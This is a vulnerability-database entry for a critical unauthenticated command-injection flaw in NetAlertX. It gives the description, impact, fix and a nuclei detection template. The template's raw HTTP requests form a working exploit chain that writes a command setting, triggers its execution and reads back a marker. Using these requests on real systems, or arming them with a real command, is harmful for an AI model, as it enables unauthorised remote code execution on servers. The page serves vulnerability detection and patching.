Browse / CVEs / CVE-2024-46506
CVE-2024-46506· netalertx / netalertx· CWE-306
NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution
criticalseverity
10CVSS score
62.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
NetAlertX 23.01.14 through 24.x before 24.10.12 allows unauthenticated command injection via settings update because function=savesettings lacks an authentication requirement, as exploited in the wild in May 2025. This is related to settings.php and util.php.
Impact
Unauthenticated attackers can execute arbitrary commands on the NetAlertX server without authentication.
Fix
Update NetAlertX to version 24.10.12 or later.
How to confirm it
Send: POST /php/server/util.php
Positive when: status_code == 200 and contains(body,"OK")
Send: POST /php/server/util.php
Positive when: status_code == 200 and contains_all(body,"{{uuid}}","added to the execution queue")
Send: GET /api/table_settings.json
Positive when: status_code == 200 and contains(body, "{{marker}}") and contains(content_type,"application/json")Run it with nuclei: nuclei -id CVE-2024-46506 -u <target>
The full check
id: CVE-2024-46506
info:
name: NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution
author: s4e-io
severity: critical
description: |
NetAlertX 23.01.14 through 24.x before 24.10.12 allows unauthenticated command injection via settings update because function=savesettings lacks an authentication requirement, as exploited in the wild in May 2025. This is related to settings.php and util.php.
impact: |
Unauthenticated attackers can execute arbitrary commands on the NetAlertX server without authentication.
remediation: |
Update NetAlertX to version 24.10.12 or later.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-46506
cwe-id: CWE-306
epss-score: 0.62666
epss-percentile: 0.99201
cpe: cpe:2.3:a:netalertx:netalertx:*:*:*:*:*:*:*:*
metadata:
verified: true
fofa-query: title="netalertx"
vendor: netalertx
product: netalertx
tags: cve,cve2024,netalertx,rce,intrusive,vkev,vuln
variables:
marker: "{{to_lower(rand_base(6))}}"
uuid: "{{to_lower(rand_base(8))}}-{{to_lower(rand_base(4))}}-{{to_lower(rand_base(4))}}-{{to_lower(rand_base(4))}}-{{to_lower(rand_base(12))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /php/server/util.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
function=savesettings&settings=[["DBCLNP","DBCLNP_RUN","string","schedule"],["DBCLNP","DBCLNP_CMD","string","{{marker}}"],["DBCLNP","DBCLNP_RUN_SCHD","string","* * * * *"]]
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body,"OK")'
condition: and
internal: true
- raw:
- |
POST /php/server/util.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
function=addToExecutionQueue&action={{uuid}}|cron_restart_backend
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body,"{{uuid}}","added to the execution queue")'
condition: and
internal: true
- raw:
- |
GET /api/table_settings.json HTTP/1.1
Host: {{Hostname}}
{{wait_for(5)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{{marker}}")'
- 'contains(content_type,"application/json")'
condition: andUse this check only on systems you are authorised to test. Where the data comes from